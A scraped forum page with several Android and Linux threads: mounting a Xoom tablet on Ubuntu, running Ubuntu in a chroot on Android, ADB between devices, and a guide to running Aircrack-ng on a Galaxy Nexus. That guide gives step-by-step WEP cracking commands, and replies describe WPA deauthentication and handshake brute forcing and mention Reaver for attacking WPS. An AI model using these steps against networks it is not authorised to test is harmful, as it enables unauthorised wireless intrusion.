Develop Bugs

[Guide] Mount Internal Storage in Ubuntu

First, I didn't know if this should go in development or general since most of the people who are going to be on Ubuntu will be devs, but hopefully this will be useful for everyone.
Honeycomb changed a lot of things. Most of the changes are awesome (as we know) but some of them have made certain things frustrating. Honeycomb marked the move from USB Mass Storage to MTP (media transfer protocol). Although for Windows users it actually works pretty well, for Linux users it doesn't...at least at first.
If anyone has hooked up their Xoom to a Ubuntu box then they know at first nothing happens. There is no selection on the tab to "mount" USB Mass Storage because it is not supported (which I thought Honeycomb was supposed to support both so this may change) It's like the computer doesn't even recognize anything is plugged in.
So this was very frustrating but I have put together a solution. Previously I was using a GUI interface called gMTP to connect to the Xoom and transfer files. This was an ok solution and it worked but I would still rather just use it in Nautilus like every other drive I use. Ok so starting here I will just post the commands and then explain after so no code gets lost.
Start with installing a needed program for all of this to work
Code:
sudo apt-get install mtpfs
Next we will create the device rules, so Ubuntu recognizes it as a USB device.
Code:
sudo gedit /etc/udev/rules.d/51-android.rules
NOTE: Some of you may have already added the Vendor ID. If you don't this file will start off blank and then you need to add this next line. If it does not come up blank, then make sure you have a line with Vendor ID 22b8 and 18d1 (for bootloader which uses a different VendorId) and you are all set.
Code:
SUBSYSTEM=="usb", ATTR{idVendor}=="22b8", MODE="0666"
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666"
You might need to start a new terminal for this change to take effect for adb and bootloader access.
make the mount point and take ownership:
Code:
sudo mkdir /media/xoom
sudo chown user:user /media/xoom
NOTE: "user" in the above code is literally your user name for your box.
ANOTHER NOTE: if you stopped here you could mount by typing mtpfs /media/xoom -o allow_other and unmount by typing fusermount -u /media/xoom...but that's no fun
add the mount point to your fstab:
Code:
sudo gedit /etc/fstab
In the first unused line available you might want to type a comment like:
Code:
# mount point for moto xoom
then add this line after it:
Code:
mtpfs /media/xoom fuse user,noauto,allow_other 0 0
Next modify fuse.conf to allow_other:
Code:
sudo gedit /etc/fuse.conf
uncomment the last line which should read:
Code:
#user_allow_other
uncomment this line by removing the '#' symbol.
add your user to the fuse group:
Code:
sudo gedit /etc/group
a long file will open, press CTRL+F to bring up the find dialog and type
Code:
fuse
close the dialog and fuse should be selected and visible.
At the end of that line with no space add your user name.
Save that file. Close it.
Lastly reboot your computer.
Now when your computer restarts, if you look at your "Places" menu you will see a Drive marked with 'xoom'
Plug in your xoom, and click on xoom in Places.
Nautilus should open with all your files that you have on your device. It will also place a mounted drive icon on your desktop. If you would like to unmount, right click on that icon and click unmount.
As you can see this was a pain for me, but hopefully this solution will work for everybody. I know the instructions are really long but follow it and you will feel old school mounting your storage in your file browser.
NOTE: THIS WAS TESTED ON UBUNTU 10.10 ONLY, IF THIS WORKS FOR ANYONE ELSE PLEASE POST YOUR FINDINGS.
Also, I am fairly new to Linux actually, so if there is an easier way to mount the storage in nautilus let me know. This works for me and I just want to help out so please no flames.

Couple things I have also noticed with MTP, when you have the internal storage "mounted" you still actually have access to the files on the device. Plus the file transfer is a lot faster. Usually I had been getting about 4 Mb/s and now I get about 15. Of course this speed difference from what I am used to might be the internal storage vs. SDCard transfer rate diffs.
Last thing, is this might need to modified when the sdcard access comes since there is only one mount point specified.

not trying the artificial bump.
I guess no comments on 228 views means this is working?
Can someone chime'in if this worked for them so I can know'if it works'as is or needs to be tweaked.
Thanks

I got mount up and running last night. Works like a champ. Great work. I was tired of pushing and FTP.

Thanks for the reply. Glad it worked for you too. One thing I need to add tonight to it is the fact that the xoom uses a different vendor'id when it's in the bootloader. The one vendor id if used alone will not recognize the xoom to use fastboot but ill update it when I get home.

FWIW, the "mtpfs" package in 10.04 was broken when using the Xoom, and causing segfaults. I found the source and rebuilt that and now it's working OK.

kcrudup said:
FWIW, the "mtpfs" package in 10.04 was broken when using the Xoom, and causing segfaults. I found the source and rebuilt that and now it's working OK.
Click to expand...
Click to collapse
So, I'm on 10.04 and not getting segfaults, but after pugging in (xoom is in usb debug mode) and click on xoom in places, ubuntu gives me the error "could not open location file:///media/xoom. Error stating file '/media/xoom': Permission denied"
Would love to get a copy of your recompiled 10.04 mtpfs package as a deb file...

I found this deb package for mtpfs 0.9-1 that you can try
mtpfs_0.9-1_amd64.deb

roberj13 said:
I found this deb package for mtpfs 0.9-1 that you can try
mtpfs_0.9-1_amd64.deb
Click to expand...
Click to collapse
Unfortunately, that's not gonna work for me. I'm 32-bit.

Ill keep looking, for some reason the 64-bit was the only one there.

roberj13 said:
Ill keep looking, for some reason the 64-bit was the only one there.
Click to expand...
Click to collapse
Thanks! If i could ge this to work, it would totally be awesome!
--Q

Most excellent guide!! Thanks you for taking the time to figure this out. I'm on 10.10 so I have nothing else to add.

Works flawless on Ubuntu 10.10 running on an older Mac Pro
Thank you for posting the easy to follow guide.

This is semi-working for me in that I can successfully mount and browse the device, but there are a few problems. One, it locks up Nautilus for 30-60 seconds (grayed out and unresponsive) though it does come back. Two, file transfer speeds are very poor.
I'm trying to load two movies totaling 1 GB right now and the copy dialog says 2hrs 56 min to transfer w/ a speed of 99.7 kb / sec. This is unreliable, however, as the copy dialog is frozen on those metrics.
Build is AMD64, distro is 10.10 upgraded from 10.4.
I appreciate the effort to document this, in spite of my issues. Let me know if anyone has suggestions for a fix and I'll try them.

One day later and this solution is now working for me. The Xoom filesystem behaves oddly in Nautilus, with some files not appearing that have in fact been transferred to the device, but otherwise this is the best solution I've found.

sogrady said:
One day later and this solution is now working for me. The Xoom filesystem behaves oddly in Nautilus, with some files not appearing that have in fact been transferred to the device, but otherwise this is the best solution I've found.
Click to expand...
Click to collapse
I find it odd that Android dosn't play nicely with *nix.. considering they are cousins in the OS family. That it works sooo well with Windows instead offensive IMO

sogrady said:
One day later and this solution is now working for me. The Xoom filesystem behaves oddly in Nautilus, with some files not appearing that have in fact been transferred to the device, but otherwise this is the best solution I've found.
Click to expand...
Click to collapse
I've seen the same thing. Usually an unmount then mount will clear it up.

this did not work for me. i'm getting no application is registered as handling this file
i told nautilus to open it and its saying /media/xoom is not a folder

Using this guide I'm able to mount fine, but I'm seeing a couple issues:
I have my music organized like this:
Artist
-----Artist - Album
----------Music files
When I copy over the top 'Artist' directory to the Xoom's Music folder it works, but, all of the music files have been directly placed in the Xoom's Music folder and the Artist and Artist - Album folders are empty, seems pretty weird?
EDIT: It looks like the Xoom (or MTP?) forces all music files into the root of the Music directory. Even if I try copying the artist folder to the root of the device the mp3 files end up in the Music folder.
EDIT take 2: Nevermind...the Android docs say nested directories are supported for music, and Windows preserves the directory structures fine.
I'm totally unable to copy over movies. I've transcoded a file into mp4 and it seems to copy over but, once the copy is finished the file doesn't show up on the Xoom.
EDIT bonanza: Looks like I'm also able to copy over movies fine through windows...so I guess all my problems are Linux related.

I keep gettting a "Transport endpoint is not connected" error when I try this. I am using 10.04 64-bit. Does anyone know how to resolve this?

[ADDON] NotAndBuntu 11.04 Beta5 (Ubuntu Natty Narwhal)

Hi,
Here is the fourth version. Its not upgradeable, so delete the old /sdcard/ubuntu before, except you know what you are doing and are able to fix upcoming problems by upgrading.
[Hints]
To remove the stupid overlay scrollbars, goto ubuntu shell and type
Code:
apt-get remove overlay-scrollbar liboverlay-scrollbar*
in the next version setupgnome will automatically do that, all which setup gnome befor, do that to get the normal scrollbars.
in gnome goto system -> preferences -> appearance. there to the fonts tab, and there to details. use a resolution of 120 dpi, so you it is a bit more touch friendly
[Requirements]
Archive from http://www.bisme.net/files/xda/ubuntu/ubuntu_b6.tar.gz
Optionall an VNC client like android-vnc
[step by step]
Install the kernel (without you'll not have full functionality, but it'll work)
Extract the ubuntu archive to /sdcard/ubuntu (in adb shell goto sdcard and type: "tar xzf ubuntu_b6.tar.gz")
cd to this dir and type
Code:
su
then
Code:
sh ubuntu install
you will be asked a few questions, if you have no plan just press always enter. after reboot open a terminal and type
Code:
su
then
Code:
ubuntu start
optional if you want gnome via vnc
Code:
ubuntu setupvnc
and
Code:
ubuntu setupgnome
this still takes long, you are installing here almost the complete ubuntu via internet. that are a few hundred megabytes of downloading and over one gigabyte of extracting and installing. leave with exit and on android shell type (first time it asks for a passwod)
Code:
ubuntu startvnc
then connect to it via: localhost:5901 using a vnc client and the password you set.
[what you got]
you start the ubuntu subsystem with ubuntu start (still chroot)
with ubuntu setupvnc you install vnc service
with ubuntu setupssh you install ssh service
with ubuntu setupgnome you install gnome
with ubuntu setupkde you install kde (if you do so, you need to modify inside ubuntu /usr/bin/vnc)
with ubuntu shell you open an bash session
with ubuntu screen you open an persistent bash session
with ubuntu startvnc you start the vnc service
with startssh inside ubuntu shell you the start the ssh service
with ubuntu stopvnc you stop the vnc service
with stopssh inside ubuntu shell you the stop the ssh service
with ubuntu stop you stop (is rebooting)
with ubuntu uninstall you uninstall the script from system(directory /sdcard/ubuntu stays)
in ubuntu you can access:
android's /dev bound to ubuntu's /dev (fdisk /dev/block/mmcblk0 is working fine(sdcard). don't touch /dev/block/mmcblk1 or you'll kill your android system, maybe your whole xoom )
android's /system bound to ubuntu's /android/system
android's /data bound to ubuntu's /android/data
android's /mnt/sdcard bound to ubuntu's /adnroid/sdcard
[working]
With android-vnc Gnome (bluetooth keyboard and mouse)
Firefox 4
Chromium Browser
LibreOffice
Gnome Terminal
SSH Daemon
"D" key needs to remove the gnome keyboardshortcut uses "D" (just open vnc, goto a textfield and type d then you know what I mean )
and a lot more
[not working]
Ubuntu Software Center (use Synaptic instead, find it in the system menu)
[the tecnical side]
Ubuntu Natty Narwhal (11.04) from http://elinux.org/BeagleBoardUbuntu
dd for creating an image (no size limit anymore)
image formatted with ext2
adb push /sdcard/ubuntu/img/ubuntu.img (android shell has gunzip)
chroot env
tightvnc, gnome-session
different kernel features which i'll list here later
[changelog]
Beta 6
small changes in the scripts to ensure compatibility with other roms and devices
you can choose now between UBuntu 11.04, 11.10 and 12.04 Beta2
[next]
providing preinstalled images for gnome, kde and xfce
app instead script
[ideas]
weirdx
wayland
Have Fun
Ralph

GhostOfTheNet said:
Hi folks,
Actually I'm poking around with the common "How to get ubuntu onto xoom", but with an own img file i created based on the maverick arm minimal archive. Now I'm installing unity, but in weekend I'll try to make the installation, configuration, ... more userfriendly. maybe I'll build a small app doing thinks like starting, stopping, starting a terminal with the chroot and so on. I've no plan at this moment what I'll do exact. But you can say me what you would like to have, so I know if there is a need for something. I think with the next ubuntu using something based on opengl as replacement for x and the promised touch support, it might be relly interesting to have in a chroot env and maybe write something like a wrapper for androids opengl es api. in this context maybe also a port of the android sdk to linux arm would be very interesting.
Regards
Ralph
Click to expand...
Click to collapse
I just posted in the general forum about this lol. I would love maverick meerkat on the xoom. I'm sure the software center wouldnt work, but if you could somehow incorporate compiz fuzion, along with all of the standard apps, that would be the sh*t. Good luck man!

Got it to run on gtab but not sure how to do it on xoom.
Sent from my Xoom using XDA Premium App

i have it already running, but I'm not getting the f*** unity running, because it needs opengl... a bit bad with tightvncserver
so i decided to jump over and try directly this out:
http://rcn-ee.net/deb/rootfs/natty/ubuntu-natty-alpha3-r0-minimal-armel.tar.xz
the omap4 is an arm cortex a9 processor, so it should be binary compatible.
wish me luck, if it will work you will have today a howto, otherwise i'll go back to 10.10 and search for another useful desktop.
edit: apt is working fine with maverick
regards

Ok, so far so good. Ubuntu 11.04 is basically running, all is working fine, but the repository is buggy, so apt is not letting me install unity.
Besause today i'll not google for a missing lib, let see further tomorow. Hopefully the repositories are fixed then.
I'm uploading now a file called ubuntu.zip
To install it do the steps i'll write now in the first post. (the setup is not tested, so you may still need your knowledge)
Regards
Sent from my Xoom using XDA App

Hey Ghost -- thanks for your great work on this!
One thing I was wondering -- would it be possible to break out your instructions on how to do this from scratch? I'm interesting in putting together my own version (probably a minmal Ubuntu 10.04 install), and would really appreciate the source "steps".
From what I've read, it looks like it's a matter of grabbing the right kernel (I thought I saw a recent one on the tegra development site), bootstrapping the right debian-based arm-compatible distro, and copying that over to the device with the right script to get it setup. I'd just love it if I could piggyback on your fine work

GhostOfTheNet said:
It's alpha, so nothing for you if you have no plan whats going on here.
Archive: http://www.bisme.net/ubuntu.zip
Needed:
Rooted xoom with busybox installed
Steps:
1.) Extract the zip to /sdcard/ubuntu
2.) Open a terminal su, cd to this dir and type
./setupubuntu (sh*** i forgot to change the file, all cp commands are not working for some reason, needs to be
cat filename > /system/bin/filename
3.) ... ehm fin
(always su before)
If you replaced the cp, you can directly type for example bootubuntu, if not you need to be in dir /sdcard/ubuntu and say ./bootubuntu
After ubuntu booted(real only mounted) you can start a bash shell with shellubuntu. Unmount it with shutubuntu(in most cases will fail, then you need to reboot before you can say bootubuntu again)
Ehm, yes... i love my xoom :-D most of the time i worked on that... my pc i almost didn't need. Small tipp, it is worth its 4 dollar, better android terminal. Without bash this would be the hell.
Regards
Ralph
Click to expand...
Click to collapse
Man you are the best. I really really want to get this up and running but i cant get through setup. idk how to install... this is not my area of expertise lol. help?!
edit: i guess for clarification, after i type in the cat command it tells me write: no space left on device

Is the touch screen working
Sent from my Evo 4G using Tapatalk Pro

Ok, first of all, this is not a rom. Thats not needed in this case, because with linux more installations can share the same kernel. Android has a linux kernel, ubuntu has one. Google for chroot
This is not an attemp to replace android, just to enhance it a bit
In this state it's just something like a technical preview. Give me a few days. For now only advanced linux users wich understands whats happening there can do something with it.
Concerning a minimal ubuntu, this is now a minimal installation.
Regards
Sent from my Xoom using XDA App

After unity 2d is not really working at this moment, I'm actually preparing a version with icewm and lxde. Post will come in a few hours.
Regards
Sent from my Xoom using XDA App

What about Enlightenment?
http://www.linuxuk.org/2010/02/the-new-ui-for-arm-based-ubuntu-devices/

i'm installing it. lets see.
the reason why it's still not posted, i have a problem with the xstartup file of tightvnc. for some reason it is not running the commands for the ui, so there is just an empty xserver in vnc until i start icewm lxde manually. i think it would be the same with efl, and i had until today to less time to check out whats wrong.
edit: netbook-launcher-efl + metacity + maximus is looking fine

Is there any way to not use VNC? Can you dual boot or otherwise get into X ?

or possibly something like freenx client on android maybe??? in hopes that it's faster than vnc. if we can't boot into ubuntu.
edit - scratch that, i read you need X to use freenx... kinda defeats the point there.
i thought there was something else though that fowards all the window data over like lightning fast.

I found until now two possibilities but both needs much work. First taking the wayland xserver client and port it to android, or port weirdx to android.
Sent from my Xoom using XDA App

Hmm... so back to the dual boot question... What about something like this guy did?
http://androidforums.com/samsung-i7500/81090-debian-dualboot.html
https://code.google.com/p/linux-on-android/wiki/BasicSteps
Would that also work on the XOOM?

Me personally, I'm not interested in another Linux Distri as main System
1. I would miss the android functionallity and feel, because of that I would never boot Ubuntu.
2. Only android has the needed touch support for a tablet. Maybe this changes i future ubuntu releases.
Because of that my primary target is a more seamless integration of a ubuntu subsystem in android, so we can use many beloved functions without much work. So there is the best of both worlds in the same time avaliable.
Sent from my Xoom using XDA App

Makes sense. My motivation for research and all this is that I want to do (light) web development and server administration on the tablet as well. Of course, buying that bluetooth keyboard makes it all feasible and I'm not looking to do heavy amounts of work on it, but I want to ditch my netbook. For starters, the tablet lasts longer in terms of battery life and the form factor is better.
Other than that, to me, tablets serve merely as an entertainment purpose (unless maybe you're using it to bill people or for a sales pitch/meeting) and I can't justify the cost. A $600 travel Scrabble is retarded. So I think tablets need something like Ubuntu running on them in order for them to be a more productive device that is a justifiable expense.
Right now the biggest thing that I'm thinking about is gedit and git. If I can get those two... Then I think I'd be pretty much set. I think there's actually two or three text editors for Android as is and I might be able to use those provided I could get git for Android.
The graphical user interface isn't the most important thing so I can even live w/o the VNC. Having a local webserver would be rad, but not a high priority since I can use git to update a server on the net.
If you have any ideas, and I know it's getting somewhat off topic, but your research is really the crux of my situation...I'd appreciate it. Thanks.
--edit ok, so i found www.cloud9ide.com which will cover me I guess. but still I want more power under the hood. I really appreciate your work efforts! Thanks.

updated useful for people which knows whats going on

deleted. got it. Thanks! this is awesome. great work!

[KERNEL] Aircrack-ng on Galaxy Nexus w/ AWUS036H usb wifi adapter (RTL8187 drivers)

For a while now I have been wanting to run aircrack on my galaxy nexus so as to have a mobile pentesting device.
So, I finally got it working and thought I would post how. This is not a task for the terminally challenged.
Install Backtrack 5 ARM. The latter is a linux environment designed for pentesting. On a mobile device the easiest way to install it is by chrooting to the mounted img, running on top of the mobile devices kernel.
Since most people seem to think aircrack is unusable on a mobile arm device, it is not included in the BackTrack 5 linux distro above, so you will need to download it manually once you have BackTrack up and running.
Here are the commands to do so:
#!/bin/bash
# Aircrack-ng installer for BackTrack 5 on Android
# By Justin Barrick aka th3p4tri0t
# install dependency for libssl-dev
apt-get install zlib1g-dev
# install libssl-dev
wget http://launchpadlibrarian.net/64412492/libssl-dev_0.9.8k-7ubuntu8.6_armel.deb
dpkg --install libssl-dev_0.9.8k-7ubuntu8.6_armel.deb
rm libssl-dev_0.9.8k-7ubuntu8.6_armel.deb
# get and install aircrack-ng
apt-get install source-aircrack-ng
cd /var/backtrack/sources/aircrack-ng/1.1/bt9/upstream-sources/
tar -xzf aircrack-ng.tar.gz
cd aircrack-ng/
make
make install
# set path variable
echo "export PATH=$PATH:/usr/local/sbin" >> ~/.bashrc
export PATH=$PATH:/usr/local/sbin
Now, the hard part. Or at least the part that took me forever to discover. You need the drivers for the AWUS036H to be insmod'ed into the kernel. You can accomplish this by obtaining your kernel source and the driver source, which is part of the compat-wireless package, more specifically the AWUS036H uses the rtl8187 chipset. Then, you cross compile those two sources to obtain rtl8187.ko, eeprom_93cx6.ko, and mac80211.ko. Then insmod those kernel modules into your kernel (insmod rtl8187.ko). The process is explained here. One can also recompile the enitre kernel, instead, and include the modules as built-in drivers. However, compiling kernel drivers can be difficult (toolchains, kernel source, etc), so luckily, I found a Galaxy Nexus kernel that already has the modules built-in, it is franco.Kernel R140 with modules added.
***Update:farcno.Kernel R200 with RTL8187 modules added, and R248 for JellyBean 4.1.1 with RTL8187 drivers
, so Aircrack-ng is now compatible with JellyBean! Also, R140 is no longer available but R200 is and has the modules needed
Beware, the kernel R200 needs ICS 4.0.4 installed to work properly, and R248 is built for JB 4.1.1.
***Update 04/11/2013:
I couldn't find any kernels with the RTL8187 drivers for JB 4.2.2, so, I built one my self. The kernel is a modified franco.Kernel R370. I didn't package it into a flashable zip, because I find it just as easy to hook my phone to my computer and use fastboot (fastboot flash boot bootJB422-RTL8187.img). The kernel image is attached below. I have been running it for about 4 days now without issue. I actually find it is the stablest version yet. I was able to play N64oid, while running airodump-ng and aireplay-ng. File attached below.
***Update 04/15/2013:
I looked into getting more of the aireplay-ng attacks to work proper with the RTL8187 drivers. There had been some complaints about fragementation attack not working and negative one always being returned as the channel for mon0. So, I found two patches for those issues on the aircrack-ng site and applied them to the franco.Kernl r370 with RTL8187 and recompiled. Now, we have fully functional aircrack-ng RTL8187 driver.
Once you flash the kernel, using the flashable zip and cwm or fastboot flash, then backtrack will be able to recognize the attached wifi adapter.... once you mount the usb bus in BackTrack. And, of course, this needs a OTG USB host cable.
The final step before learning how to use aircrack-ng is:
1. Open a terminal and load BT5, you can load the 'ui' and use an vnc to connect the the xserver desktop if you want. But, I have found it is easier to just use the chroot shell in the android terminal emulator.
2. open another android terminal window, and type:
su
mkdir -p /data/local/bt/dev/bus/usb
mount -o bind /dev/bus/usb /data/local/bt/dev/bus/usb
3. In the new android terminal window, start the BT5 shell (startbt), then type:
lsusb
You should see atleast one device, the usb root, and whatever device you have plugged in to the otg cable, if any.
A note to remember: I re-performed this guide after formatting my phone and got stuck here. lsusb didn't list anything. I rebooted my phone and tried to start BT5 and mount the usb again and it worked. I rebooted, started BT5, tried lsusb without binding usb and was blank as should be, bound usb back in another terminal window, returned to BT5, tried lsusb and root hub displayed.
Now, plug in the AWUS036H and type: airmon-ng
And you should see the device listed.
Read here for how to run aircrack, or view here.
Essentially the commands are:
lshw -disable dmi
(this should list the attached wifi card under NETWORK, my RTL8187 was wlan1)
ifconfig
(you should see wlan1 listed, if not the type "ifconfig wlan1 up" and retype "ifconfig")
airmon-ng start wlan1
airodump-ng mon0
copy BSSID and CHANNEL
New android terminal with BT5 shell (startbt): airodump-ng -w wep -c CHANNEL --bssid BSSID mon0
New android terminal with BT5 shell (startbt): aireplay-ng -1 0 -a BSSID mon0
New android terminal with BT5 shell (startbt): aireplay-ng -3 -b BSSID mon0
After ~50,000 packets collected:
New android terminal with BT5 shell (startbt): aircrack-ng wep-01.cap
To the purpose, with this, if your friend or mom or just some complete stranger forgets their wep key to their network, all they need to do is call you and you can just drive by, plug your wifi adapter into your phone, chroot to BT5 and aircrack their password for them, in a matter of 5 to 10 minutes.
WARNING!!!: In my intial aircrack run on my galaxy nexus, I cracked a wep key in about 5-10 minutes. I was happy, happy, happy. Then, a ruinous moment occurred. Almost the very second aircrack-ng finished cracking the key, my phone came up with a low battery warning, I was using a awus036h wifi adapter and it was draining my battery fast, I had about 50% to begin and had the 14% warning hit me about 10 minutes in, funny thing is the warning is usually 14%, but this time was 13%, go figure? Anyway seconds after the warning my phone just blanks, turns off. I plug it in and reboot and the battery is at 0% and stuck there, so a word of warning:
An external wifi adapter my require more usb host juice then the battery can safely supply. I have seen people using powered hubs to circumvent draining the phone battery, I would defintiely recommend the practice.
UPDATE: I plugged the phone into an AC charger and the battery finally charged (phew). For some reason, it wouldn't recharge on the USB cable after being so drained.

Is there a compatible wifi device that has the same chip set but with its own power supply (cord or battery)? If so that should help. I'm interested if someone can find one.
Sent from my Galaxy Nexus using xda premium

This is amazing work. I used to do some network pen testing as part of my old job and there's a lot of work that goes into making a mobile setup even with a laptop involved. The fact you got this all working coherently on a phone is mind blowing to me. Huge props.
I have no experience with this manufacturer or ebay seller but through some googling I did find this product:
http://www.ebay.com/itm/Solar-Power...970998?pt=PDA_Accessories&hash=item20b72a86b6
USB hubs in theory do not identify as normal USB devices and allow for pass through communication between connected devices. This one supplies external power as well. In other words, you may be able to connect both devices to this as it provides external power, and they can communicate without you having to rewrite any drivers.
However, be careful because some USB chipsets get confused if you try to use them as USB host but supply external power at the same time. So you may want to verify that is safe on the GNEX USB chipset.

Anyone willing to order that hub and test it?
Sent from my Galaxy Nexus using xda premium

Wow just found that and will be testing it at home tonight.
I flashed the V140 kernel via recovery and I can't locate rtl8187.ko anywhere to move it to /data/local/modules
Where is it located once the kernel flashed?
Thanks!

Once you install the R140 kernel mentioned, there is no need to insmod rtl8187.ko. The rtl8187 chipset support is compiled into the kernel boot.img.

I use this external battery pack, and I spliced a spare USB cord with the cord from my wifi adapter, so it only draws juice from the battery pack.
When you cut open a usb cord there are four wires: red, black, green, and white.
Green and white are data, connect them to the cord going to the galaxy nexus.
Red is +5V, connect it to the +5 V or red cord going to the battery pack.
Black is common, connect it to both usb cords.
So, on the cord going to the battery pack, green and white are loose, and on the cord going to the gnex, red is loose.
Or, you could use the solar powered hub mentioned above. You will still need the modified kernel, as the hub will show up as an attached device, but so will whatever is connected to it. You can't communicate with a device, without the appropriate drivers.

I did the bt5 development for the xoom. Reaver works too for h4xRing wps. I make a module pack with about 100 modules for xoom. If this is something the gnex community is interested in ill see what a can do.

bigrushdog, to be honest, during my trek to get this working, I nearly gave up and bought a XOOM, after seeing how well developed it was.

bigrushdog said:
I did the bt5 development for the xoom. Reaver works too for h4xRing wps. I make a module pack with about 100 modules for xoom. If this is something the gnex community is interested in ill see what a can do.
Click to expand...
Click to collapse
Of course I would be interested!!!

Aircrack is working now with my rtl8187!
Great job. However I noticed that this kernel is draining the battery much quicker than the latest Franciscofranco kernel in Android with a normal everyday usage.

You could download the franco.Kernel updater, it lets you set options in the franco.Kernel, like the "Generic Hotplug" option which saves battery by turning off one cpu core when the phone screen is off and allows you to set undervolt settings. It also has a Power Mode setting with Full Power, Balanced, and Power Save options. Full Power is default, which makes your phone faster, but at the expense of battery power.
Be sure not to upgrade the kernel to the current nightly though. The franco.Kernel I listed is specially modified, the rtl8187 drivers aren't normally found in the franco.Kernel.

bigrushdog said:
I did the bt5 development for the xoom. Reaver works too for h4xRing wps. I make a module pack with about 100 modules for xoom. If this is something the gnex community is interested in ill see what a can do.
Click to expand...
Click to collapse
Yes, please! I'd be interested.
Sent from my Galaxy Nexus using xda premium

michaelmotes said:
You could download the franco.Kernel updater, it lets you set options in the franco.Kernel, like the "Generic Hotplug" option which saves battery by turning off one cpu core when the phone screen is off and allows you to set undervolt settings. It also has a Power Mode setting with Full Power, Balanced, and Power Save options. Full Power is default, which makes your phone faster, but at the expense of battery power.
Be sure not to upgrade the kernel to the current nightly though. The franco.Kernel I listed is specially modified, the rtl8187 drivers aren't normally found in the franco.Kernel.
Click to expand...
Click to collapse
I will try the settings as I already have the app! Huge thanks!

Wow I tried to get rtl8187 working since 2 weeks, but never was able to crosscompile the kernel modules.. And you found a kernel, that has these modules already intergrated thank you very very much

It was brought to my attention that the patches for the compat wireless drivers from aircrack-ng haven't been applied to the driver in the kernel I provided. Nonetheless, aircrack-ng, aireplay-ng, airmon-ng, and airodump-ng still work. The only one that might give you a problem is aireplay-ng because it uses the patches to get the channel of the bssid from the driver, which without the patch just returns -1. I was able to get around it by using the command line option --ignore-negative-one when using aireplay and the ARP request replay attack (attack 3) and fake authentication (attack 1) still worked.
Also, a word to the wise, I overheated my cpu while running airodump, aireplay ARP request replay, and aircrack all at once and caused a kernel panic and emergency shutdown. So, I would advise only running airodump and aireplay, then waiting until you have lots of packets, stopping airepaly and airodump, and then running aircrack. Or, maybe even underclocking the cpu while running in backtrack.

michaelmotes said:
It was brought to my attention that the patches for the compat wireless drivers from aircrack-ng haven't been applied to the driver in the kernel I provided. Nonetheless, aircrack-ng, aireplay-ng, airmon-ng, and airodump-ng still work. The only one that might give you a problem is aireplay-ng because it uses the patches to get the channel of the bssid from the driver, which without the patch just returns -1. I was able to get around it by using the command line option --ignore-negative-one when using aireplay and the ARP request replay attack (attack 3) and fake authentication (attack 1) still worked.
Also, a word to the wise, I overheated my cpu while running airodump, aireplay ARP request replay, and aircrack all at once and caused a kernel panic and emergency shutdown. So, I would advise only running airodump and aireplay, then waiting until you have lots of packets, stopping airepaly and airodump, and then running aircrack. Or, maybe even underclocking the cpu while running in backtrack.
Click to expand...
Click to collapse
Could we patch it manually? We would need to download the kernel source somewhere in the chroot session and modify the makefile then?

You can patch it manually. But, like I said, I'm happy with it, I can crack wep keys and that is what I wanted to do, still as an academic exercise, or academic triathlon, you can patch it manually. To start, I would try getting the kernel source for the gnex, or maybe from Kernel-XP I linked. He might give it to you if you asked. Then, I would recompile the kernel with not changes.
The kernel must be recompiled using the arm gcc toolchain, you can get it like:
$ git clone https://android.googlesource.com/platform/prebuilt
$ export PATH=$(pwd)/prebuilt/linux-x86/toolchain/arm-eabi-4.4.3/bin:$PATH
I would install all the necessaries on a regular desktop and follow the instructions for building kernels here: http://source.android.com/source/building-kernels.html.
Once you get the kernel rebuilt and it works, look into patching the compat-wireless source here: http://www.aircrack-ng.org/doku.php?id=compat-wireless
And then take a look here: http://stackoverflow.com/questions/4849063/cross-compile-lkm-module-for-android-platform. It says how to setup a makefile in the driver source directory to make it cross-compile with the android kernel source.

Nice!
Cool and thanks for all the steps. Last link was the key I was missing for many weeks!
So right now WPA2 won't be working right?

What do you mean "WPA2 wont be working"?
I believe you can still caputre handshakes, and try to brute force the password. All you need is to run airodump to capture the handshake on the wpa router and run aireplay with attack 0 (deauthication) to cause a client to handshake.WPA cracking is slow though, and only possible if the router has password less then or equal to 7 characters, I think after that the odds of cracking it become worse then hitting the lottery after that. There is no way to recover a WPA key without guessing it.
Capturing the handshake just allows one to guess rapidly without the router knowing or being able to ban your mac for repeated auth attempts.

[Guide] ADB connection between two Android devices

Probably not breaking any ground here (since in hindsight it was blatantly obvious), but I thought I would share anyways...
I own several Android devices, and I'm always playing. well, tonight I was tweaking a few things over adb and got to wondering if I could use adb to connect from one Android device to another. Well, turns out it's pretty easy, if you're rooted...
Both devices need to be connected to the same wireless network.
Install adbWireless from the Playground (sorry, Play Store): https://play.google.com/store/apps/...251bGwsMSwyLDEsInNpaXIuZXMuYWRiV2lyZWxlc3MiXQ..
You only really need it on the receiving device, but I have it on everything anyway.
Copy the Linux adb binary into /system/xbin/ and set the permissions to 755 (rwxr_xr_x), and reboot.
You only really need to do this on the controlling device, but may as well do it on all.
Fire up adbWireless on the receiving device, grant root privileges, and note the IP address
Fire up a Terminal Emulator on the other device, and enter: adb connect <IP address from other device> (you typically don't need to add the :5555 on the end.
Job done! Pretty handy when working from a slate!
I also run dd-wrt firmware on my router, which let's me assign static IPs by MAC address, so the IP for the devices are always the same.
Regards - dr

adb binary is already built in, /system/bin/adb.
besides that, all that's left is get adbd running, and that can be achieved either by an app (like you suggest) or edit init.rc to have adbd as one shot service to allow manual start (doesn't boot with the system). cyanogenmod also has adbd over wireless done like this.
also, one could use an OTG cable to connect devices directly, while i agree adb over wireless is good, adb over ssh would be best.

Valid points.
The adb in /system/bin is a less functional version than the standard Linux binary (94kb versus 156kb); kinda similar to the chown binary, where the recursive function doesn't work...
I'll concede to the rest though...

danger-rat said:
Valid points.
The adb in /system/bin is a less functional version than the standard Linux binary (94kb versus 156kb); kinda similar to the chown binary, where the recursive function doesn't work...
I'll concede to the rest though...
Click to expand...
Click to collapse
Agreed.
Sent from my i9250
edit: checkout this commit @aosp-master: https://android-review.googlesource.com/#/c/41846/
i'll be cherry-picking this one today

danger-rat said:
Valid points.
The adb in /system/bin is a less functional version than the standard Linux binary (94kb versus 156kb); kinda similar to the chown binary, where the recursive function doesn't work...
I'll concede to the rest though...
Click to expand...
Click to collapse
Hi - Where can I get this more functional binary that's half the size of a standard linux binary? I've tried two, they are both around 330Kb, and they fail to run with error "non executable: magic 7F45" because they were not compiled for my ARMV71 processor. I ran chmod 755 on it and when I check the permissions it is executable (-rwxr-xr-x). Can you post a link to the one that's 156kb - I can't find it.

elfaure said:
